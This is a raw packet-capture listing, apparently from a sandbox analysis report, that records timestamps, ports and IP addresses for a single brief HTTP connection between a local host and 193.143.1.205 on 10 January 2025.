Jan 10, 2025 22:01:37.561117887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561129093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561141968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561155081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561166048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561173916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561182022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561204910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.561234951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.561333895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561347008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561357975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561369896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561383963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561395884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561405897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.561407089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561418056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561429977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561441898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561578035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.561578035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.561764956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561779022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561790943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561801910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561815023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.561820984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.561856985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.562016964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.562031984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.562045097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.562082052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.562082052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.562129974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.562143087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.562154055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.562165976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.562179089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.562191010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.562203884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.562230110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.562230110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.562230110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.562664032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.566428900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.594990969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595016003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595031977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595052004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595066071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595077038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595088005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595101118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595155001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.595155954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.595257044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595268965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595280886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595297098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.595345020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.595397949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595432043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595443010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595454931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595488071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.595520020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.595567942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595699072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595710039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595720053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595732927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595745087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595757008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.595757961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595757008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.595769882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595782995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595797062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.595820904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.595820904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.595880032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.596048117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596060038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596071005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596081972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596096039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596123934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.596123934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.596188068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596282005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.596364975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596378088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596390009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596400976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596410036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.596412897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596426010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596437931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596441984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.596448898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596460104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596472979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596484900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.596523046 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.596524000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.596524000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.596985102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597002983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597014904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597021103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.597027063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597039938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597052097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597064972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597078085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597084045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.597084045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.597090006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597103119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597114086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597125053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597136974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597137928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.597137928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.597148895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597162008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597172976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597172976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.597184896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597198963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.597214937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.597214937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.597254992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.600435019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600445986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600459099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600471973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600596905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.600596905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.600599051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600617886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600632906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600645065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600647926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.600656986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600670099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600683928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600696087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600708008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600719929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600723028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.600723028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.600723028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.600733995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.600768089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.600785017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.606060982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.610178947 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.617634058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.617651939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.617733002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.617746115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.617758036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.617769003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.617779016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.617784977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.617785931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.617785931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.617830038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.643280983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.651422977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651434898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651448965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651482105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651496887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651511908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651525021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651576042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.651576996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.651587009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651602983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651623011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651634932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651654005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651654005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.651670933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651684999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651705027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651731014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.651731014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.651731014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.651767969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651787043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651802063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651813984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651828051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651865005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.651865959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.651865959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.651891947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651978016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.651989937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652004004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652015924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652026892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.652029037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652043104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652054071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.652100086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.652112961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652163982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.652170897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652188063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652200937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652255058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.652326107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652338982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652344942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652355909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652369976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652383089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652399063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.652436018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.652436018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.652436018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.652452946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.654402018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.685513020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685534954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685548067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685559988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685574055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685620070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.685642958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685657024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.685662985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685677052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685679913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.685689926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685697079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685719013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685733080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685746908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685776949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685784101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.685784101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.685784101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.685791016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685832024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.685863018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685874939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685888052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685894012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685898066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.685905933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685921907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.685926914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685962915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685975075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.685986996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.685988903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686013937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686027050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686038017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686038017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686038971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686068058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686103106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686121941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686136961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686177015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686181068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686181068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686189890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686203003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686216116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686230898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686253071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686253071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686299086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686342955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686384916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686430931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686444998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686450958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686487913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686502934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686517000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686600924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686644077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686644077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686644077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686681032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686692953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686707973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686721087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686733961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686745882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686758995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686774015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686783075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686783075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686783075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686806917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.686851978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686954975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686968088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686989069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.686997890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.687001944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687010050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687026978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.687030077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687043905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687052011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687068939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687082052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687086105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.687086105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.687094927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687108994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.687114000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687180996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.687338114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687350988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687365055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687376976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687390089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687397003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.687402964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687417984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.687431097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.687431097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.687473059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.690853119 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.708095074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.708121061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.708132982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.708195925 CET	80	49705	193.143.1.205	192.168.2.8
